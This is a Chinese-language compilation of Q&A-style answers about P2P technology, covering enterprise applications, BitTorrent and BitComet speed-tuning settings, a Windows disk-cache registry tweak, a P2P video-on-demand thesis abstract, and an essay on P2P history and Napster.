S/C方式造成互联网络上的集中,无论信息资源还是成本资源均向同一方向集中,这样的模式符合一对多、强对弱的社会关系形式,如政府对个人、对企业,大企业对小企业,学校对学生,企业对职工等等关系。所以S/C方式是符合市场需求的。P2P方式将导致信息数量、成本资源都向互联网各点均匀分布,也就是所谓“边缘化“的趋势。此模式符合“一对一”的特点,以及彼此相当的社会关系形式,如个人对个人,规模相当的企业之间,等等,这也是符合市场需求的(如ICQ)。所以这两种方式会共存,有关P2P即将替代S/C模式的说法是不成立的。P2P有其独特的市场空间,是现有互联网应用的补充,这一点应该是毫无疑问的。

3. P2P技术特性

(1) 既是S又是C,如何表现取决于用户的要求,网络应用由使用者自由驱动。

(2) 信息在网络设备间直接流动,高速及时,降低中转服务成本。

(3) 构成网络设备互动的基础和应用。

(4) 在使网络信息分散化的同时,相同特性的P2P设备可以构成存在于互联网这张大网中的子网,使信息按新方式又一次集中。

企业应用

应用P2P技术的互联网产品正在迅速开辟出一块新的互联网应用市场,例如ICQ类的即时信息工具不仅创立了一个巨大市场,而且正在多方向地向外扩展,比如在移动通信市场,ICQ产品的多信息格式(文字、语言的支持)和即时性,可以为常规通信增加信息内容(文字、图片)和通信对象(网上ICQ用户)。

另一方面,ICQ的使用也会使部分用户放弃Email,侵蚀Email市场。Napster类的文件共享型P2P产品开拓出网上文件传播的新途径,用户不仅可以进行搜索和下载这样的操作,同时也可以方便地将自己的文件提供给其他用户,做到了基本的双向交流。

由于P2P技术方案不同于S/C方式的特性,可以在许多方面弥补S/C方式的不足,P2P产品将建立互联网上的一种新的应用模式,这时用户不仅在PC装有浏览器,而且还有数种P2P软件来实现新的互联网应用。

比如一个计算机配件经销商可以通过Email或浏览器(如果对方也通过P2P技术发布信息,则也可以用P2P软件)得到其上游厂家最新推出的产品信息及价格,研究了这些信息,并落实订货事宜之后,启动P2P软件,将新的产品及售价发布到重要客户的P2P联络站上,其中一个未上网的用户通过手机也知道了这消息。不久,经销商将收到客户的在线询问,而经销商在线回答问题的同时又将一个驱动程序传给了这个客户。这一切的操作均是通过互联网,而对象是厂家人员或客户,而非其网站或邮箱,这样就真正利用互联网做到了面对面的交流,更加接近现实社会的人际交流习惯。

1. 企业P2P互联网应用的几个侧重

(1) 企业协同

企业协同包括两大方面,一是企业内部的员工与员工、部门与部门、员工与部门之间的协同,无论部门及员工处在何种地理位置,只要拥有网络,双方存在信息沟通的要求,就可以利用P2P软件协调双方的行为。信息的种类及行为目的可以是多种多样的,如日程安排、通知发布、单据的审批、文件传阅和分发、方案的评比(表决)、计划协调等等这些可以通过电子文件表达的信息均可以通过软件来表达,并以此将使用者联系在一起。P2P应用更适用这当中更多需要用户交互的部分,如计划协调、日程安排等。二是企业与企业之间的行为协同,这种协同的互动的多样性和复杂性要高于企业内部的协同。从简单的会议日程安排、公文往来,到报价、询价订货系统、订单跟踪、电子化交易。

(2) 企业门户

新型企业门户不再简单地以一个网站来实现,它不但综合了为企业内部员工或部门的服务,还可以为企业伙伴及用户服务,同时也是企业管理者了解企业运行状态,调控企业运行的管理工具。企业各个部分的运行情况均可以通过它传递给允许接触到相关信息的使用者。管理者可以通过门户掌握企业的动态,调控企业的运行,直达下级领导建立沟通。而企业内部的员工与企业外部的伙伴或客户均可通过这一平台找到相关的人(工作人员),建立起这样那样的信息交流通道,实现不同的协作目标。这将综合S/C技术和P2P技术,P2P部分将实现信息定向推送,实时沟通和数据互动。

(3) P2P群集和VPN

构建于互联网之上的P2P应用不再简单地限于两个点,完全可以扩展到多点的群集,形成互联网中的一个虚拟的子网,构成一个精简的VPN。这样一来,通过相对简单的,仅仅是对P2P用户端软件的操作,用户就可以主动地选择不同的VPN并加入,同时也就使得了不同的VPN同时存在于互联网之中。个性化、专业化同时又是开放(基于互联网)的VPN的出现,使信息的集中和流动更接近现实社会的信息流动方式,更易于为人们所接受。比如喜爱音乐的人们建立了自己的音乐VPN,擅长编程的设计师可以建立自己的程序员VPN,而对于企业,行业化、渠道化的组织终于有了一个在互联网上安家的便捷途径。可以预计,行业化的目录服务、信息服务将通过此方式迅速涌现,为企业电子商务打下一个良好基础。

(4) 人机远程互动和机机互动

远程监控和调试已经运用在许多工业场合,甚至也出现了一些通过网站方式运行的方案,但网站方式在速度和交互性方面的缺陷使得用户无法接受。P2P方案为这方面的应用开辟了新的天地,利用它,一个锅炉厂商可以通过互联网帮助其客户调控其锅炉的运行状态,而我们也可以在回家的路上用手机将家中的空调提前打开。

(5) 宽带网及无线移动网应用

当带宽达到数据流要求的容量,如实时音频、实时视频,人们期待已久的多种网络应用就会呈现在面前。而特别能满足交互需要的P2P技术更有一块施展的天地,电话会议、视频会议、远程教育、培训、安装调试等等都将为企业带来P2P技术的新应用。实际上ICQ作为P2P技术已经开始应用在手机短信上。

2. 企业P2P互联网应用的市场特点

(1) 构成企业B2B电子商务内容的一部分。

(2) 促进建立新的互联网数据交换标准和数据安全模式。

(3) 引起新一代互联网的应用,可以建立起底层结构平台。

(4) 具有领域化的市场分割—与前一时期的互联网热有相同的出发点,将建立起相关行业的群落。

(5) 有较明确的赢利模式。由于P2P产品不再像S/C方式那样客户仅使用浏览器,而是使用特质的客户端软件,同时软件的使用需厂家的直接支持,用户对购买软件或缴纳使用费很容易理解。

(6) 向后产品和技术可以整合进入企业内部信息管理市场,向前可以进入企业外部电子商务市场。

3. 估计的产品形式

(1) 底层基础开发平台及专项应用软件。

(2) 软件工程。为企业量身定做。

(3) 软件服务。将软件功能租给企业使用及信息服务。
参考资料:http://www.huihoo.com/p2p/p2p_2.html

⑸ 什么是BT下载软件

itTorrent(简称BT,俗称BT下载、变态下载)是一个多点下载的源码公开的P2P软件,使用非常方便,就像一个浏览器插件,很适合新发布的热门下载。其特点简单的说就是:下载的人越多,速度越快。 BitTorrent 下载工具软件可以说是一个最新概念 P2P 的下载工具、它采用了多点对多点的原理,一般简称 BT(BitTorrent) 也就是大家所说的变态下载。该软件相当的特殊,一般我们下载档案或软件,大都由 HTTP 站点或FTP 站台下载,若同时间下载人数多时,基于该服务器频宽的因素,速度会减慢许多,而该软件却不同,恰巧相反,同时间下载的人数越多你下载的速度便越快,因为它采用了多点对多点的传输原理。
参考资料:http://www.skycn.com/soft/13308.html

这样才能真正提高BitComet下载速度
[ Date: 2005-11-02 12:01:51 AM | Author: Lemon.Hun | From: Internet | | ]
这样才能真正提高BitComet下载速度
来源于:Internet
1:下载软件的设置
1. 运行 BitComet 0.60 ,打开自己的 BitComet 的 " 选项 " 一栏,点击第一栏 " 网络连接 "。
全局最大下载速度 无限制 调整到 1000(2M 以下用户 1000 是个不可达到的数字,所以可行 ) 。
全局最大上传速度 无限制 调整到 40 ( 根据个人情况合理选择,这是我的建议数 ) 。
监听端口 建议不要和 6881-6889 16881-16889 重复,个人感觉 19770-22000 之间比较好。
( 当然你映射了端口,那么就以你映射的监听端口为准,不需改动 ) ,装了防火墙的用户在你的防火墙里面打开你的监听端口。
2. 点击任务设置,目前此项里面的参数暂时保持不变,在后来的调整中需要用到其中的"每任务最大上传速度"
3. 点击界面外观
最多显示 peer 数量 改到 1000
4. 点击高级设置
如果多少分钟之内不能连接则添加备用 Tracker:30改到0备用 Tracker 列表
5. 点击网络连接
每任务最大连接数:改到 1000 。
每任务保持连接数:改到 50 。
全局保证上传连接数:改到 10 。
连接发起间隔: 改到 150 或 100 。
最大同时尝试的 TCP 连接个数: 改到 1000 。
是否允许通过 UDP 实现内网互连:内网设定"允许" 公网设定"禁止"。
6. 点击 IP 规则
下载任务每 IP 最大允许连接数 : 改到 20
上传任务每 IP 最大允许连接数 : 改到 5
内网的用户把"允许向服务器报告内网 IP 便于子网内连接"打上钩
7. 点击磁盘缓存
256M 内存配置
磁盘缓存最小值: 6M
磁盘缓存最大值: 30M
减小磁盘缓存当空闲物理内存低于: 50M
在最大最小值范围内自动调整缓存大小上打上钩。
2:下载过程的参数调整
热门种子:
1. 进行完上面的设置,请您下载一个热门种子 ( 种子数超过 20 ,用户连接数超过 200) ,单独开始这一个下载。
2. 下载时您可以看见连接的种子和用户在不断增加,上传下载速度缓慢增加,等速度达到您平时正常下载速度的 1/2 ,连接数大于 50 ,种子数 1 个以上时 ( 大约需要 5-10 分钟 ) ,点击"任务设置"把"每任务最大上传速度"改到 10-20 之间一个数,继续下载。
3. 2 分钟后,如果你的速度起来了,并且起伏不大相对稳定,请保持。如果你的速度没有起来,可以用以下 2 种办法:
a. 把每任务最大上传继续以每次 2K 的速度调小;
b.a 不起作用说明你的调整时间不对,把"每任务最大上传速度"恢复到"无限制"过段时间再调小它。
冷门种子
冷门种子在您进行调小"每任务最大上传速度"时可能效果不大,如果有效果,请保持。无效果,就不要设置"每任务最大上传速度"或者设高点比如 25-30 。
3页:注意事项及调节经验
注意事项
1. 想知道自己是内网还是外网的看自己的 IP , 10.x.x.x , 192.168.x.x 都是内网,看不见远程的基本也是内网。
2. 外网用户如果 BitComet0.06 下载效果不理想可以试用 BC 以前版本或者贪婪 abc 、比特精灵等。
3. 限制上传的朋友下载完毕后,强烈要求取消全局上传限制做种 3 个小时以上。
4. 热门种子下载时,尽量只下载一个文件,这样才让你享受到 BitComet 的飞速快感。
5. 上传参数的选取,要依据自己的网络情况,仔细调整,如果我说的参数不适合您,请您自己多琢磨,仔细进行微调。
调节经验:
一个任务开始下载几分钟以后,就把上面第 5 点方法的"每任务保持连接数"由" 1000 "改为"自动调整",全局最大下载速度再改回"无限制",一会你就会发现, BT 的速度明显比调节前快了 ( 我的现在一般是 170-180K, 比以前快了近 50K ! ) ;如果变化不大,再在两个办法之间来回设置一下。

修改系统设置 减少BT下载对硬盘的损耗

关于如何解决BT下载损耗硬盘这个问题,有人提出修改硬盘的CACHE,方法如下:
1、设大硬盘Cache

BT会多线程地下载和上传,很多数据吞吐,Windows默认只有512KB的Cache显然不够,如果内存在256MB以上,开大一些Cache应该可以减少硬盘读写,提高性能。一般设在8-16MB效果最好。我设到32MB,开4个BT硬盘灯都不怎么闪。
a) 运行 "regedit";
b)去[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\IoPageLockLimit];
c) 根据你的内存修改其十六进制值:
8000为32MB,4000为16MB,其他数字按此计算。
补充计算转换方法如下:
1MB = 1024K,
10MB = 10240K
= 2800(16进制)
= 2*16^3 + 8*16^2 + 0*16^1 + 0*16^0 = 10240k (十进制)
d) 重启
如果没有找到IoPageLockLimit,就要新建,类型为DWord。
2、降低运行优先级
BT比较占用资源,启动后,可能会对整个系统的性能造成一定的影响。如果你是用2K/XP,可以利用任务管理器把所有的BT软件的优先级降低,这样即使它占用资源,也不会影响其它应用程序的性能,因为它抢占资源的优先级不够高,降低对系统的影响。
有人说,操作系统是win2k或winxp的话,使用BT下载的情况会好些,因为这两种操作系统会帮你在BT写入硬盘数据时自动升高CACHE,从而减轻(但不是避免)硬盘的损伤。
个人觉得,BT可以继续使用,但不要一次性开太多的下载或上传的窗口,1到3个就行了。还有在BT运行时,去任务管理器把它的优先权调到低于标准。

⑹ 什么是P2P

P2P是peer-to-peer的缩写,peer在英语里有"(地位、能力等)同等者"、"同事"和"伙伴"等意义。这样一来,P2P也就可以理解为"伙伴对伙伴"的意思,或称为对等联网。目前人们认为其在加强网络上人的交流、文件交换、分布计算等方面大有前途.
简单的说,P2P直接将人们联系起来,让人们通过互联网直接交互。P2P使得网络上的沟通变得容易、更直接共享和交互,真正地消除中间商。P2P就是人可以直接连接到其他用户的计算机、交换文件,而不是像过去那样连接到服务器去浏览与下载。P2P另一个重要特点是改变互联网现在的以大网站为中心的状态、重返"非中心化",并把权力交还给用户。 P2P看起来似乎很新,但是正如B2C、B2B是将现实世界中很平常的东西移植到互联网上一样,P2P并不是什么新东西。在现实生活中我们每天都按照P2P模式面对面地或者通过电话交流和沟通。
即使从网络看,P2P也不是新概念,P2P是互联网整体架构的基础。互联网最基本的协议TCP/IP并没有客户机和服务器的概念,所有的设备都是通讯的平等的一端。在十年之前,所有的互联网上的系统都同时具有服务器和客户机的功能。当然,后来发展的那些架构在TCP/IP之上的软件的确采用了客户机/服务器的结构:浏览器和Web服务器,邮件客户端和邮件服务器。但是,对于服务器来说,它们之间仍然是对等联网的。以email为例,互联网上并没有一个巨大的、唯一的邮件服务器来处理所有的email,而是对等联网的邮件服务器相互协作把email传送到相应的服务器上去。另外用户之间email则一直对等的联络渠道。
事实上,网络上现有的许多服务可以归入P2P的行列。即时讯息系统譬如ICQ、AOL Instant Messenger、Yahoo Pager、微软的MSN Messenger以及国内的OICQ是最流行的P2P应用。它们允许用户互相沟通和交换信息、交换文件。用户之间的信息交流不是直接的,需要有位于中心的服务器来协调。但这些系统并没有诸如搜索这种对于大量信息共享非常重要的功能,这个特征的缺乏可能正为什么即时讯息出现很久但是并没有能够产生如Napster这样的影响的原因之一。

⑺ 不是直接暴露在外网中的两台电脑能否真正实现p2p连接

当然可以了,你需要找到两边服务器的工作原理,比如是nat还是什么别的

⑻ P2P计算技术毕业设计范文

基于P2P的视频点播系统

摘要:随着流媒体应用在Internet上的流行,传统C/S模式的流媒体服务系统已经不能满足流媒体对服务器性能和高带宽的要求,严重阻碍了流媒体业务质量的提高和容量的扩大。随着个人PC机性能的增强,Peer-to-peer模型得到了广泛的应用。Peer-to-peer模型通过有效利用网络的带宽、存储能力和计算资源,提供了一个持久性的存储基础结构。本文介绍了一种基于P2P网络平台上新的流媒体播放技术,它将P2P网络技术和流媒体技术结合起来,充分利用客户计算机的资源,减轻流媒体服务器和网络负载,突破了传统的流媒体播放系统带宽瓶颈,能够保持节目流完整而流畅地播放.本人采用 VC 6.0以面向对象方法开发了”PPVOD”视频点播系统。系统提供了一套在局域网、城域网和广域网内并发地随时随地点播视频文件的解决方案。系统运用了客户端的拉技术、MPEG的软件解码技术、基于DirectShow COM组件的流媒体回放技术、TCP实时传输协议,创造性地实现了视频点播系统,是一种性价比良好的流媒体服务技术。

关键词:P2P;流媒体;C/S模式;数据传输树

A VOD System Based on P2P Technology

Abstract: With the popularity of the streaming media, the traditional C/S service system is unable to satisfy the requirement of server and bandwidth. And this weakness terribly hinders the improvement of streaming media’s quality and the enlargement of the capacity. With PC ability enhancing, Peer-to-peer model has been used widely. Peer-to-peer systems are positioned to take advantage of gains in network bandwidth, storage capacity, and computational resources to provide long-term rable storage infrastructures. A new streaming media technology based on P2P networks is introced in this paper. The technology is combined P2P networks technology with streaming media technology, which make good use of the recourses of client computer and rece the load of streaming media and network. At the same time, the new technology overcomes hand width limitation of traditional stream media player system. So the video streams might be played fully and smoothly. The PPVOD System is developed by VC6.0 using object-oriented method, which provides a solution for being video on demand file any time any where in LAN、MAN and WAN. It applys data-pulled technology, the MPEG decode technology, the media-playback technology Based on DirectShow COM, and puts to use TCP protocol. Therefore, it’s an excellent streaming media service technology.

Key words: P2P; streaming media; C/S mode; data transfers tree

⑼ p2p的原理

P2P软件是基于P2P技术工作的

1、什么是p2p

P2P是一种技术,但更多的是一种思想,有着改变整个互联网基础的潜能的思想。

(1)p2p的概念

P2P是peer-to-peer的缩写,peer在英语里有“(地位、能力等)同等者”、“同事”和“伙伴”等意义。这样一来,P2P也就可以理解为“伙伴对伙伴”的意思,或称为对等联网。目前人们认为其在加强网络上人的交流、文件交换、分布计算等方面大有前途。

简单的说,P2P直接将人们联系起来,让人们通过互联网直接交互。P2P使得网络上的沟通变得容易、更直接共享和交互,真正地消除中间商。P2P就是人可以直接连接到其他用户的计算机、交换文件,而不是像过去那样连接到服务器去浏览与下载。P2P另一个重要特点是改变互联网现在的以大网站为中心的状态、重返“非中心化”,并把权力交还给用户。 P2P看起来似乎很新,但是正如B2C、B2B是将现实世界中很平常的东西移植到互联网上一样,P2P并不是什么新东西。在现实生活中我们每天都按照P2P模式面对面地或者通过电话交流和沟通。

即使从网络看,P2P也不是新概念,P2P是互联网整体架构的基础。互联网最基本的协议TCP/IP并没有客户机和服务器的概念,所有的设备都是通讯的平等的一端。在十年之前,所有的互联网上的系统都同时具有服务器和客户机的功能。当然,后来发展的那些架构在TCP/IP之上的软件的确采用了客户机/服务器的结构:浏览器和Web服务器,邮件客户端和邮件服务器。但是,对于服务器来说,它们之间仍然是对等联网的。以email为例,互联网上并没有一个巨大的、唯一的邮件服务器来处理所有的email,而是对等联网的邮件服务器相互协作把email传送到相应的服务器上去。另外用户之间email则一直对等的联络渠道。 当然但是过去的5年里,互联网的发展至少从表面上远离了P2P,互联网上绝大部分的节点也不能和其他节点直接地交流。Napster正是唤醒了深藏在互联网背后的对等联网。Napster的文件共享功能在局域网中共享目录也是再平常不过的事情。但是Napster的成功促使人们认识到把这种“对等联网”拓展到整个互联网范围的可能性。当然,在许多人的眼中,Napster并不是纯粹的P2P,它仍然需要一个处于中心协调机制。

事实上,网络上现有的许多服务可以归入P2P的行列。即时讯息系统譬如ICQ、AOL Instant Messenger、Yahoo Pager、微软的MSN Messenger以及国内的OICQ是最流行的P2P应用。它们允许用户互相沟通和交换信息、交换文件。用户之间的信息交流不是直接的,需要有位于中心的服务器来协调。但这些系统并没有诸如搜索这种对于大量信息共享非常重要的功能,这个特征的缺乏可能正 是为什么即时讯息出现很久但是并没有能够产生如Napster这样的影响的原因之一。

另外一个可以归入P2P是拍卖网站譬如eBay,人们在总结eBay的模式的时候用了C2C,是不是和P2P有一点类似?eBay就是一个将人们联系的和交易物品的社区,用户可以方便的搜索其他用户叫卖的商品。eBay提供了一些使得交易得以顺利进行的服务,但是交易是直接在用户之间进行的。如果将“交易”的概念推广,C2C就是P2P的一个特例,这里人们互相交换的是商品。

但如果仔细深究的话,Napster和即时讯息在赋予用户之间直接交流的能力、eBay使用户可以直接交易的同时,却破坏了服务器端的那种自互联网出现之初就存在的对等联网思想,因为它们都需要有一个位于中心的服务器来协调,而不是分布在世界上不同地方的、对等联网的许多服务器。这也正是诸如Gnutella和Freenet不断的宣称它们创造了“纯粹”的P2P,完全没有中心服务器的P2P服务。

(2)p2p的思想溯源:回到互联网的本质

如果回顾一下,我们会发现在WWW出现伊始P2P就是互联网的本质特征之一。人们各自建立网页、互相做链接,人们上网是沿着链接冲浪。那时的web是真正的“网”(web)。但是当Yahoo!和Lycos建立了搜索引擎和门户站点后,人们上网的方式被改变了,人们从此到一个地方去获取所有的信息。记得_blank">新浪曾经有一段时间说它们是“目标站点”模式,但是如果多问一句,现在人们一条一条地阅读_blank">新浪的新闻,在头脑中还有一个“网”的概念吗?最大的问题是,这些站点控制了信息的流动、充斥了过时的信息、阻碍了真正的交流,或者对于很多人来说,另外还有太多的广告。 P2P就是把控制权重新还到用户手中去。人们通过P2P可以共享硬盘上的文件、目录甚至整个硬盘。这种能量是非常令人激动的,那些费心存储在自己的硬盘上的东西肯定是我们认为最有价值,所有人都共享了他们认为最有价值的东西,这将使互联网上信息的价值得到极大的提升。是不是有一种和WWW刚刚出现的时候同样的激动呢?有一点。

因为每个Peer都代表了其后的人,基于自组织的网上社区也正在显现。与门户站点从上而下建立社区的方式不同,人们将以自发的方式形成社区。

当人们加入P2P网络的时候,所有人都拥有了平等的机会,所有人都拥有了极容易地在网络上创造“内容”的机会。当然,真正在网络上创造或提供内容的人还是少数的,据统计Gnutella的用户中仅仅有2%向其他用户提供了内容,即使在比较活跃的Usenet张贴文章的用户也仅占所有用户的7%。但是,P2P第一次使得所有上网的人都拥有了平等的机会。

下面试图用三句话来揭示P2P的影响:

对等联网:是只读的网络的终结(Peer-to-peer is the end of the read-only Web)

对等联网:使你重新参与互联网(Peer-to-peer allows you to participate in the Internet again)

对等联网:使网络远离电视(Peer-to-peer steering the Internet away from TV)如上文所言,P2P不是一个新思想,从某些角度看它甚至是整个最初创建互联网的最基本的思想。我们不妨花时间作一点回顾。

互联网的发展于近现代的许多尖端科学技术的发展模式并无不同,即都是先在军事工业形成,再转到民用领域。互联网发源于至今看来也十分新颖的战略思想:为了避免敌人的毁灭性武器命中全国的军事指挥控制中心,应该怎么办?传统的方法是一方面想方设法尽可能地不让敌人知道中心的确切位置,另一方面提高中心的抵御打击的能力。

但在当今的核武器年代,对方有着连一个星球都可以炸毁的核弹,再固若金汤的防御措施一旦受到攻击肯定马上化为乌有。而只要有机密存在,总有打探出机密的方法,所以靠保密中心所在位置的方法也不是长远之计。在这种情况下,美国的军事人员充分发挥逆向思维,想到既然不可能长期、有效地保护中心免受攻击,那么还不如根本不设中心!

让每一个基地乃至每一台电脑都能独立运作,这么一来等于有了无数中心,敌人除非真的将这个星球炸了,否则其中一个基地或电脑受损,也不影响其他基地或电脑继续发挥作用。正是这种“非中心化”的思想成为形成互联网最基本的概念。

但是许多技术出现之后往往并不会完全按照原先的设计发展,服务器/客户机的架构逐渐变成了互联网的主流,浏览变成了人们在互联网上最主要的生存方式。互联网的普通用户似乎在慢慢的退化、和电视观众一样被动地浏览着大网站们创造的内容。

人们在网络上的主要活动访问了在这么门户站点上,读新闻、参与讨论组、聊天。但是这使得设计的互联网的一个特性消失了——如果Yahoo因故中断服务如出现什么情况?这种假设不太容易看到,但是年初的黑客攻击各大网站造成的混乱似乎可以给我们一点联想的线索。

上面提到像Napster和即时讯息还是需要位于中心的服务器,那么Gnutella网站上的一句话可能表达了它们所推广的“纯粹”的P2P所包含的“非中心化”的理念:设计Gnutella是为了在核战中生存(Gnutella Is Designed to Survive Nuclear War)。

它的网站上这样描述,纽约的用户受到攻击至多只会影响那个地区的部分用户,而其他地方的Gnutella用户还能正常的使用,这不正是互联网最初的理想吗?

(3)Napster带来的革命

Napster是去年当时由只有18岁的肖恩·范宁(Shawn Fanning)开发的,它提供服务允许音乐迷们交流MP3文件。它与先前也被推上被告席的提供免费音乐下载MP3.com的不同就是在Napster服务器没有一首歌曲,Napster提供了一个新的软件供音乐迷在自己的硬盘上共享歌曲文件,搜索其他用户共享的歌曲文件,并到其他也使用Napster服务的用户硬盘上去下载歌曲。Napster在短时间里吸引了5000万用户,最终,它被五大唱片商以侵犯版权推上被告席而成为世界的焦点。

可能从来没有一个行业象唱片业这样,生存会因为一个小小的软件而受到如此深重的威胁。对于Napster引起的版权问题有过很多的讨论,但是多花一些时间讨论还是值得的,因为这个案件决定了也决定了P2P文件共享这一分支的前途,也决定了未来如何处理互联网上的版权问题。

10月31日原告之一BMG公司和Napster达成和解协议。舆论认为这表明唱片业意识到通过数字方式发布音乐将是不可阻挡的潮流,消灭Napster也无法阻止其他模仿Napster的服务商出现。因此还不如与之合作改变Napster,将之变成在线音乐销售的渠道。现在的唱片工业面临的可能不是如何“像压碎一个鸡蛋”那样压碎,而是与之合作,将Napster的5000万用户变成自己的客户。也就是将Napster的模式变成“合法化的Napster”模式。唱片工业的困境是如何防止那些Napster的模仿者继续免费提供歌曲。

2000年2月12日,美国旧金山第九巡回上诉法院的三名法官就音乐网站Napster版权纠纷案作出裁决,认为它侵害了各大唱片公司的版权。但是三名法官并没有应唱片公司的要求,决定立即关闭网站,而是把最初的判决送回给低一级的地方法院。法官们说,这项裁决内容过于复杂,需作进一步澄清。但错综复杂的法律过程和长达58页的判决书反映了现在既缺乏与互联网相关的版权法,也缺乏相应的司法实践。

但是,不管Napster案的结果如何都不能改变Napster后面的技术和思想给互联网带来的影响。“魔鬼”已经钻出了魔瓶,而魔瓶也已经被打破了。对于唱片界来说,至少它们销售唱片的方式被彻底改变了。下一个可能是好莱坞的电影工业,压缩技术和宽带网络将使得人们会在网络上轻易地传输整部电影。

事实上合法化的网络上已经出现了许多试图推出“合法化的Napster”模式的公司,譬如由Napster的创办人之一创办的lightshare.com和Flycode.com。P2P对于唱片商来说的确有吸引力,如果它们能够从用户身上收费的话。对于利用诸如一个集中的站点提供收费的mp3音乐下载,用户每次从网站下载的时候,网站都必须向电信交流量费,而使用P2P则使得这部分费用不再存在了。因此唱片商获得更多的利润,用户也应该可以得到更便宜的音乐。

从某种意义上软件也好像预测到了大规模盗版和文件共享可能带来的影响,这主要归功于开放源码软件给软件业带来的“头脑风暴”。在亚洲和东欧,软件业已经在反对盗版上打了败仗。这也正是微软极力推广一种“软件注册模式”,把软件作为按月付费的服务出售,而不再是向过去那样出售容易复制和盗版的硬拷贝。

当然,对所谓“合法化的Napster”模式还是有很多质疑。P2P的这种文件共享功能似乎没有带来什么附加值,尽管这个过程可能是非常有趣的。从另一方面来说,这项技术可能被用来推动人们重新参与互联网、创造他们自己的内容,这也许是价值所在。所有的社区网站都有一个“梦想”,让用户互动来产生内容,但是由于由上而下创建的社区的最根本上的问题,这种梦想从来没有真正实现过。P2P或许可以改变这一点。

Napster创造的奇迹同时也是揭示了在互联网时代普通人也具有改变整个世界的能力。当肖恩·范宁在波士顿的东北大学校园开发Napster的时候,他只不过是想和他在维吉尼亚的朋友共享mp3歌曲文件。现在这个小软件改变了整个世界。

(4)p2p改变了什么?内容转移到“边缘”

在回顾了Napster了问题和困境之后,下面将看看P2P的更多激动人心的东西和消除围绕这个新词的种种误解,以及看看P2P的机会主要在哪儿。

P2P带来的一个变化就是改变了“内容”所在的位置,内容正在从“中心”走向“边缘”,也就是说内容将主要不是存在几个主要的服务器上,而是存在所有用户的个人电脑上。

Napster的成功使我们不得不去质疑流传已久的两个断言,“应用服务提供商(ASP)是未来趋势”和“个人电脑死了”。ASP的一个基本假设就是对于大多数客户来说购买和维护高性能的服务器的成本太高了,但是P2P使得每个人办公桌上的电脑都可以成为“服务器”。用户原来是用台式电脑准备好数据之后再把数据上载到服务器上去,而使用P2P将不再需要这个过程。“个人电脑死了”这个断言就是个人电脑将主要用来浏览互联网、字处理等,因此最简单的瘦客户机就可以满足需求。P2P使得个人电脑再一次成为“中心”。P2P使得个人电脑重新焕发活力、不再是被动的客户端,而成为具有服务器和客户端的特征的设备,个人电脑将重新成为互联网的中心。

互联网的存储模式将由现在的“内容位于中心”模式转变为“内容位于边缘”模式。从这个角度看P2P带来了几个改变:

首先,客户不再需要将文件上载到服务器,而只需要使用P2P将共享信息提供出去;

其次运行P2P的个人电脑不需要固定IP地址和永久的互联网连接,这使得那些拨号上网的用户也可以享受P2P带来的变革,这部分用户在所有用户中占有极大的比重;

最后,P2P完全改变过去控制互联网的客户机/服务器模式,消除客户机和服务器二者之间的差别。

上文对Napster所遭遇的法律问题有很多讨论,但是换个角度来阐述,盗版问题往往也正显示存在大量未能满足的需求。Napster的惊人成功(这里指吸引大量用户而不是获得利润)是一种难得的对P2P的概念上可行性的证明,揭示了P2P改变互联网的潜力。直通桌面的宽带网络逐渐成为现实、个人电脑越来越强大足以胜任“服务器”功能也从另外的方面确保P2P发挥其能量。

个人电脑取代位于中心的服务器成为内容的主要存储地将对互联网的几个主要发展方向有着意义深远的影响:这可能改变Windows和Linux几年的“战争”的局面,当“桌面”和服务器逐渐融合,微软可能会极力推广其基于Windows2000的Web服务和“内容处于边缘”(内容处于桌面)模式,从而可能破坏Linux在服务器市场上存在的基础。

提供免费个人主页服务的公司存在的一个理由就是目前互联网使得普通用户很难拥有自己的服务器放置自己的内容。可以预言类似Napster的服务将会出现供人们在自己的个人电脑上发布主页和内容。

WAP等移动服务协议目前还主要关注让人们去使用处于中心的商业服务如新闻、股票信息等。但更多的时候人们最需要的信息是那些在他们的个人电脑上的信息,P2P使这成为可能。人们可以通过无线联网P2P访问他们的个人电脑,这也就是一些公司所宣传的个人化P2P(Personal P2P)的“无线版本”。

当然,这也不是说使用P2P的个人电脑可以取代服务器,那些安全的备份和需要专家来不断更新的数据还将存在于位于中心的服务器上。 可以这样看待P2P带来的转变,“内容位于中心”模式较好的适应了互联网初期的情况,个人电脑性能太差因而需要有专门的服务器、带宽太窄使得个人电脑不得不退化到被动浏览。宽带互联网、更稳定的更高性能的个人电脑使得我们有理由预言下一个5年将是由“内容位于边缘”模式主导。

(5)重新解读P2P

每个具有划时代意义的创新出现的时候它往往可能被人们误读。P2P这次也不例外,Napster让人们开始关注P2P,但也使得许多人认为P2P就是歌曲交换、文件交换,甚至认为P2P和盗版有着必然的联系。可以说人们对P2P的理解是被误导的和不完全的。

自由软件(Free software)出现之初也面临着误读的困境,人们开始的时候将Free理解为免费的,从而认为自由软件是不可靠的、认为自由软件运动是激进的“反文化的”。事实上Free更多的应该指自由地探索想法、在软件中表达出来和共享软件。这一点对自由软件的鼓吹者们来说是自然而然的,但是需要有人去告诉商界、媒体和公众自由软件在经济上和逻辑上是可行的。当时着名出版人O’reilly组织了一次自由软件峰会重新定义自由软件,将自由软件改名为开放源码软件(open source software)。这一重新定义使得人们开始拨开误解的乌云,了解Free的本质。开放源码将人们从有缺陷的软件、锁定效应和传统的软件分发渠道中解脱出来。自由表示合作将可以跨越公司的边界、共享基础性的开发,使人们可以把注意力集中到高附加值的服务上去。 今年8月,O’Reilly又组织另一次峰会来帮助人们认识P2P的潜力和消除Napster、Gnutella造成的P2P是盗版技术的负面影响。另外,他认为目前P2P的状态类似于“盲人摸象”,P2P技术的领导者们每个人都看到了P2P这头“巨象”的一些特征。,如果他们能够有机会交流思想,P2P将会更快地发展。这次P2P峰会主要有三个目的:定义P2P,我们要从中的到什么以及为什么;描述P2P的机会,P2P能解决什么样的问题;形成一个提供给大众的关于P2P的信息,消除那些负面影响。

